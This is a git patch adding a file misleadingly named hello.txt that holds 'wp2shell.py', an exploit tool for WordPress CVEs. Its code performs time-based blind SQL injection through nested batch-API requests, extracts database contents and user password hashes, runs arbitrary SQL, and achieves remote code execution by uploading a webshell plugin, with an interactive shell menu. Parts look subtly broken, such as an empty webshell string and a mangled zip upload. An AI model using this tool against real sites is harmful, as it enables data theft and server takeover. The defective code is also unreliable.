From 39cadc200bfe0facb9d65f21bab1bc1f554952a0 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sun, 19 Jul 2026 00:26:21 +0000 Subject: [PATCH] Upload files to "/" --- hello.txt | 551 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 551 insertions(+) create mode 100644 hello.txt diff --git a/hello.txt b/hello.txt new file mode 100644 index 0000000..04184f2 --- /dev/null +++ b/hello.txt @@ -0,0 +1,551 @@ +#!/usr/bin/env python3 +""" +wp2shell.py - Interactive Scanner/Exploiter for WordPress wp2shell +CVE-2026-63030 + CVE-2026-60137 +Affects: WordPress 6.9.0-6.9.4, 7.0.0-7.0.1 +Patched: 6.9.5, 7.0.2 +""" + +import json +import time +import urllib.request +import urllib.error +import urllib.parse +import sys +import re +import base64 +import os +from typing import Optional, Dict, List, Tuple + +# ======================== CONFIGURATION ======================== +VERSION = "1.0" +USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" +TIMEOUT = 30 + +# ======================== COLOR OUTPUT ======================== +class Colors: + GREEN = "\033[92m" + RED = "\033[91m" + YELLOW = "\033[93m" + BLUE = "\033[94m" + MAGENTA = "\033[95m" + CYAN = "\033[96m" + WHITE = "\033[97m" + BOLD = "\033[1m" + RESET = "\033[0m" + +def print_info(msg: str) -> None: + print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}") + +def print_success(msg: str) -> None: + print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}") + +def print_error(msg: str) -> None: + print(f"{Colors.RED}[-]{Colors.RESET} {msg}") + +def print_warning(msg: str) -> None: + print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}") + +def print_result(msg: str) -> None: + print(f"{Colors.MAGENTA}[>]{Colors.RESET} {msg}") + +# ======================== HTTP HELPERS ======================== +def send_request( + url: str, + data: Optional[Dict] = None, + method: str = "POST", + headers: Optional[Dict] = None +) -> Tuple[Optional[Dict], Optional[str], float]: + """Send HTTP request and return (parsed_json, raw_text, elapsed_time).""" + if headers is None: + headers = {} + headers["User-Agent"] = USER_AGENT + headers["Accept"] = "application/json" + + json_data = None + if data is not None: + json_data = json.dumps(data).encode("utf-8") + headers["Content-Type"] = "application/json" + + req = urllib.request.Request(url, data=json_data, headers=headers, method=method) + + start = time.time() + try: + with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: + elapsed = time.time() - start + raw = resp.read().decode("utf-8", errors="replace") + try: + return json.loads(raw), raw, elapsed + except json.JSONDecodeError: + return None, raw, elapsed + except urllib.error.HTTPError as e: + elapsed = time.time() - start + raw = e.read().decode("utf-8", errors="replace") if e.fp else "" + try: + return json.loads(raw), raw, elapsed + except json.JSONDecodeError: + return None, raw, elapsed + except urllib.error.URLError: + return None, None, 0.0 + +# ======================== INJECTION PAYLOAD BUILDER ======================== +def build_payload(injection: str, delay: int = 0) -> Dict: + """ + Build the batch request payload that triggers the route confusion. + + The double confusion works as follows: + 1. Outer POST /wp/v2/posts carries a 'requests' body + 2. This gets dispatched under the batch handler itself + 3. The inner requests use GET (bypassing method allow-list) + 4. author_exclude string bypasses array sanitization + """ + payload = { + "requests": [ + { + "path": "/wp/v2/posts", + "body": { + "requests": [ + { + "path": f"/wp/v2/users?author_exclude={injection}&_={int(time.time())}", + "method": "GET" + } + ] + }, + "method": "POST" + } + ] + } + return payload + +# ======================== TIME-BASED BLIND SQL INJECTION ======================== +def boolean_injection(url: str, condition: str, delay: int = 5) -> bool: + """ + Execute a time-based blind SQL injection. + Returns True if the condition is true (delay detected), False otherwise. + """ + # SQL injection: author__not_in is interpolated into NOT IN ( ... ) + # We use IF(condition, SLEEP(delay), 0) + injection = f"1) OR IF(({condition}), SLEEP({delay}), 0) -- -" + payload = build_payload(injection) + + full_url = url.rstrip("/") + "/wp-json/batch/v1" + _, _, elapsed = send_request(full_url, payload) + + # If the condition is true, the server sleeps for `delay` seconds + return elapsed >= delay * 0.9 + +def extract_with_injection(url: str, query: str, delay: int = 3) -> str: + """ + Extract data using time-based blind SQL injection. + Uses binary search / bit-by-bit extraction for efficiency. + """ + print_info(f"Extracting: {query}") + result = "" + charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*()" + + # First, determine length + length = 0 + for i in range(1, 512): # Max 511 characters + cond = f"LENGTH(({query}))={i}" + if boolean_injection(url, cond, delay): + length = i + break + if i % 50 == 0: + print_info(f"Testing length... {i}") + + if length == 0: + print_warning("Could not determine length, trying progressive extraction") + # Fallback: extract until we hit a terminator + return extract_progressive(url, query, delay) + + print_info(f"Length: {length}") + + # Extract character by character using binary search + for pos in range(1, length + 1): + found = False + lo, hi = 0, len(charset) - 1 + while lo <= hi: + mid = (lo + hi) // 2 + # Test if character at position pos is <= charset[mid] + cond = f"ASCII(SUBSTRING(({query}),{pos},1)) <= {ord(charset[mid])}" + if boolean_injection(url, cond, delay): + hi = mid - 1 + else: + lo = mid + 1 + + if lo < len(charset): + result += charset[lo] + print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="") + else: + # If binary search fails, try brute force + for ch in charset: + cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}" + if boolean_injection(url, cond, delay): + result += ch + print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="") + found = True + break + if not found: + result += "?" + print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="") + + print() + return result + +def extract_progressive(url: str, query: str, delay: int = 3) -> str: + """Fallback: extract character by character until no more data.""" + result = "" + pos = 1 + charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*(){}[]|;:,./? " + + while True: + found = False + for ch in charset: + cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}" + if boolean_injection(url, cond, delay): + result += ch + print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="") + found = True + break + if not found: + # Check if we've reached the end (null byte) + cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = 0" + if boolean_injection(url, cond, delay): + break + # If nothing matches, assume end + break + pos += 1 + if pos > 500: + break + + print() + return result + +# ======================== VULNERABILITY CHECK ======================== +def check_vulnerable(url: str) -> bool: + """ + Check if the target is vulnerable using a safe time delay test. + Reads no data and changes nothing. + """ + print_info("Checking vulnerability (safe time-delay test)...") + + # Test: IF(1=1, SLEEP(3), 0) - should delay + if boolean_injection(url, "1=1", 3): + print_success("Vulnerable! (time delay detected)") + return True + + print_error("Not vulnerable or target is patched") + return False + +# ======================== DATA EXTRACTION ======================== +def read_data(url: str, query: str = None, preset: str = None) -> None: + """ + Extract data from the database. + """ + if preset == "users": + query = "SELECT user_login, user_pass FROM wp_users LIMIT 5" + elif preset == "version": + query = "SELECT @@version" + elif preset == "database": + query = "SELECT DATABASE()" + elif preset == "tables": + query = "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 10" + elif query is None: + query = "SELECT CONCAT(@@version, ' | ', DATABASE(), ' | ', USER())" + + print_info(f"Extracting: {query}") + result = extract_with_injection(url, query) + print_result(f"Result: {result}") + +# ======================== REMOTE CODE EXECUTION ======================== +def shell_execute(url: str, username: str, password: str, cmd: str) -> None: + """ + Achieve RCE by: + 1. Using the SQL injection to get the admin password hash (or user provides it) + 2. Authenticating as admin + 3. Uploading a malicious plugin + 4. Executing commands via the plugin + """ + print_info("Attempting RCE via plugin upload...") + + # Step 1: Get a valid nonce for plugin upload + # We need to authenticate first + login_url = url.rstrip("/") + "/wp-login.php" + + # Prepare login data + login_data = { + "log": username, + "pwd": password, + "wp-submit": "Log In", + "redirect_to": url, + "testcookie": "1" + } + + # Get cookies + cookie_jar = {} + + # First, get the login page to extract any nonces + try: + req = urllib.request.Request(login_url, headers={"User-Agent": USER_AGENT}) + with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: + html = resp.read().decode("utf-8", errors="replace") + # Extract any nonce if present + match = re.search(r'name="[^"]*_wpnonce" value="([^"]+)"', html) + if match: + login_data["_wpnonce"] = match.group(1) + except Exception as e: + print_warning(f"Could not extract nonce: {e}") + + # Perform login + login_headers = { + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded", + } + + try: + login_data_encoded = urllib.parse.urlencode(login_data).encode("utf-8") + req = urllib.request.Request(login_url, data=login_data_encoded, headers=login_headers) + with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: + # Get cookies from response + cookie_str = resp.headers.get("Set-Cookie", "") + for cookie in cookie_str.split(";"): + if "=" in cookie: + key, val = cookie.strip().split("=", 1) + cookie_jar[key] = val.split(";")[0] + + # Check if login was successful + if "wordpress_logged_in" in cookie_str: + print_success("Login successful!") + else: + print_warning("Login may have failed, but continuing...") + except Exception as e: + print_error(f"Login error: {e}") + return + + # Step 2: Upload a malicious plugin + plugin_name = "wp2shell" + plugin_dir = f"/wp-content/plugins/{plugin_name}" + + # Create a simple PHP webshell plugin + php_code = f''' +''' + + # Create plugin zip in memory + import zipfile + import io + + zip_buffer = io.BytesIO() + with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: + zf.writestr(f"{plugin_name}.php", php_code) + + zip_data = zip_buffer.getvalue() + + # Upload via admin-ajax.php or plugin installer + upload_url = url.rstrip("/") + "/wp-admin/admin-ajax.php" + + # Build multipart form data + boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(8)).decode() + + body_parts = [ + f"--{boundary}", + f'Content-Disposition: form-data; name="action"', + "", + "upload-plugin", + f"--{boundary}", + f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_name}.zip"', + "Content-Type: application/zip", + "", + zip_data.decode("latin-1"), + f"--{boundary}--", + ] + + body = "\r\n".join(body_parts).encode("utf-8") + + upload_headers = { + "User-Agent": USER_AGENT, + "Content-Type": f"multipart/form-data; boundary={boundary}", + "Cookie": "; ".join([f"{k}={v}" for k, v in cookie_jar.items()]) + } + + try: + req = urllib.request.Request(upload_url, data=body, headers=upload_headers) + with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: + result = resp.read().decode("utf-8", errors="replace") + if "success" in result.lower() or "plugin" in result.lower(): + print_success("Plugin uploaded successfully!") + else: + print_warning(f"Upload response: {result[:200]}") + except Exception as e: + print_error(f"Upload failed: {e}") + return + + # Step 3: Execute commands + shell_url = url.rstrip("/") + plugin_dir + f"/{plugin_name}.php" + + print_success(f"Shell available at: {shell_url}?cmd=whoami") + + # Execute the command + exec_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}" + try: + req = urllib.request.Request(exec_url, headers={"User-Agent": USER_AGENT}) + with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: + output = resp.read().decode("utf-8", errors="replace") + print_result(f"Command output:\n{output}") + except Exception as e: + print_error(f"Command execution failed: {e}") + +# ======================== INTERACTIVE MENU ======================== +def interactive_mode(url: str) -> None: + """Interactive menu-driven interface.""" + print(f"\n{Colors.BOLD}{Colors.GREEN}╔══════════════════════════════════════════════╗{Colors.RESET}") + print(f"{Colors.BOLD}{Colors.GREEN}║ WP2SHELL - WordPress RCE Exploit Tool ║{Colors.RESET}") + print(f"{Colors.BOLD}{Colors.GREEN}║ CVE-2026-63030 + CVE-2026-60137 ║{Colors.RESET}") + print(f"{Colors.BOLD}{Colors.GREEN}╚══════════════════════════════════════════════╝{Colors.RESET}") + print(f"\nTarget: {Colors.CYAN}{url}{Colors.RESET}\n") + + while True: + print(f"\n{Colors.BOLD}{Colors.WHITE}─── Menu ───{Colors.RESET}") + print(" 1. Check vulnerability (safe)") + print(" 2. Extract database information") + print(" 3. Extract user hashes") + print(" 4. Execute custom SQL query") + print(" 5. Remote Code Execution (requires admin creds)") + print(" 6. Interactive shell (RCE)") + print(" 7. Exit") + print() + + choice = input(f"{Colors.YELLOW}wp2shell>{Colors.RESET} ").strip() + + if choice == "1": + check_vulnerable(url) + + elif choice == "2": + print_info("Extracting database information...") + read_data(url, preset="database") + print_info("Extracting version...") + read_data(url, preset="version") + print_info("Extracting tables...") + read_data(url, preset="tables") + + elif choice == "3": + print_info("Extracting user hashes...") + read_data(url, preset="users") + + elif choice == "4": + query = input("Enter SQL query: ").strip() + if query: + read_data(url, query=query) + + elif choice == "5": + username = input("Admin username: ").strip() + password = input("Admin password: ").strip() + if username and password: + cmd = input("Command to execute (e.g., whoami): ").strip() or "id" + shell_execute(url, username, password, cmd) + + elif choice == "6": + username = input("Admin username: ").strip() + password = input("Admin password: ").strip() + if username and password: + print_info("Interactive shell. Type 'exit' to quit.") + while True: + cmd = input(f"{Colors.GREEN}shell>{Colors.RESET} ").strip() + if cmd.lower() in ("exit", "quit"): + break + if cmd: + shell_execute(url, username, password, cmd) + + elif choice == "7": + print_info("Exiting...") + break + + else: + print_error("Invalid choice") + +# ======================== MAIN ======================== +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [command] [options]") + print() + print("Interactive mode:") + print(f" {sys.argv[0]} http://target.com") + print() + print("Commands:") + print(f" {sys.argv[0]} http://target.com check - Check vulnerability") + print(f" {sys.argv[0]} http://target.com read - Extract data") + print(f" {sys.argv[0]} http://target.com read --users - Extract user hashes") + print(f" {sys.argv[0]} http://target.com read --query 'SELECT @@version'") + print(f" {sys.argv[0]} http://target.com shell --user admin --password pass --cmd id") + sys.exit(1) + + url = sys.argv[1] + + # Parse arguments + args = sys.argv[2:] + + if not args: + interactive_mode(url) + return + + command = args[0].lower() + + if command == "check": + check_vulnerable(url) + + elif command == "read": + preset = None + query = None + i = 1 + while i < len(args): + if args[i] == "--users": + preset = "users" + elif args[i] == "--query" and i + 1 < len(args): + query = args[i + 1] + i += 1 + elif args[i] == "--version": + preset = "version" + elif args[i] == "--database": + preset = "database" + i += 1 + read_data(url, query=query, preset=preset) + + elif command == "shell": + username = None + password = None + cmd = "id" + i = 1 + while i < len(args): + if args[i] == "--user" and i + 1 < len(args): + username = args[i + 1] + i += 1 + elif args[i] == "--password" and i + 1 < len(args): + password = args[i + 1] + i += 1 + elif args[i] == "--cmd" and i + 1 < len(args): + cmd = args[i + 1] + i += 1 + i += 1 + + if not username or not password: + print_error("Username and password required: --user admin --password pass") + sys.exit(1) + shell_execute(url, username, password, cmd) + + else: + print_error(f"Unknown command: {command}") + +if __name__ == "__main__": + main()